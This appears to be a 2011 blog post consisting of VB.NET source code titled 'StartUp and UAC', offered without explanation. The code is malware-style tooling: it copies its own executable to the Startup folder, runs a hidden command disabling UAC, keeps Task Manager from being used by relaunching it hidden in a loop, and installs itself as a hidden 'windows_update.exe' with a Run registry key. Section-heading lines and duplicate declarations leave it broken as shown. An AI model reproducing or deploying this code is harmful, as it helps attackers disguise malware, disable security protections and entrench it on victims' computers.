Free Hit Counters

Tuesday, January 11, 2011

StartUp and UAC

Imports System.IO
Imports Microsoft.Win32
Imports System.Environment

Public Class Form1

    Dim Temp As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\"
    Dim Desktop As String = My.Computer.FileSystem.SpecialDirectories.Desktop & "\"
    Dim Program As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles & "\"
    Dim temp As String = GetEnvironmentVariable("temp") & "\"
    Dim windir As String = GetEnvironmentVariable("windir") & "\"
    Dim appdata As String = GetEnvironmentVariable("appdata") & "\"
    Dim programfiles As String = GetEnvironmentVariable("programfiles") & "\"
    Dim systemdrive As String = GetEnvironmentVariable("systemdrive") & "\" 'C:\
    Dim desktop As String = GetFolderPath(SpecialFolder.Desktop) & "\"
    Dim startup As String = GetFolderPath(SpecialFolder.Startup)
    Dim window As String = GetFolderPath(SpecialFolder.System)
    Dim appdata As String = GetFolderPath(SpecialFolder.ApplicationData)
    Dim programfile As String = GetFolderPath(SpecialFolder.CommonProgramFiles)
    Dim mymusic As String = GetFolderPath(SpecialFolder.MyMusic)
    Dim mypics As String = GetFolderPath(SpecialFolder.MyPictures)
    Dim mydocs As String = GetFolderPath(SpecialFolder.MyDocuments)

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Dim filename As String = Process.GetCurrentProcess.MainModule.FileName
        Dim appname As String = Path.GetFileName(Application.ExecutablePath)
        Dim startup As String = GetFolderPath(SpecialFolder.Startup)
        'Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True).SetValue(appname, startup & appname)

        My.Computer.FileSystem.CopyFile(Application.ExecutablePath, startup & appname, True) '("Program.exe", "C:\Program Files\Program.exe")
        'File.Copy(filename, temp & appname)

        'Dim regKey As Microsoft.Win32.RegistryKey
        'regKey = Registry.LocalMachine.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRun", True)
        'regKey.SetValue(appname, startup & appname)
        'regKey.Close()

        ---Shell UAC---

        Shell("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide)

        ---Disabling Taskmanager--- 

        Dim ID = Shell("taskmgr.exe", 0)
        While True
            Process.GetProcessById(ID).WaitForExit()
            Threading.Thread.Sleep(50)
            ID = Shell("taskmgr.exe", 0)
        End While

        ---Bypass UAC---

        Try
            If File.Exists(Path.GetTempPath() & "windows_update.exe") = False Then
                File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() & "windows_update.exe", True)
            End If
            File.SetAttributes(Path.GetTempPath() & "windows_update.exe", File.GetAttributes(Path.GetTempPath() & "windows_update.exe") Or FileAttributes.Hidden)
            'MsgBox("File copy OK")
        Catch e As Exception
        End Try
        Try
            Dim reg = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
            Dim uac = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
            If uac IsNot Nothing Then
                If uac.GetValue("EnableLUA") IsNot Nothing Then
                    uac.SetValue("EnableLUA", "0")
                End If
            End If
            'MsgBox("UAC desactivated")
            If reg IsNot Nothing Then
                If reg.GetValue("windows_update.exe") Is Nothing Then
                    reg.SetValue("windows_update.exe", Path.GetTempPath() & "windows_update.exe")
                End If
            End If
            'MsgBox("Registry access OK and UAC desactivated")
        Catch c As Exception
        End Try
    End Sub

End Class

No comments:

Post a Comment

Free Hit Counters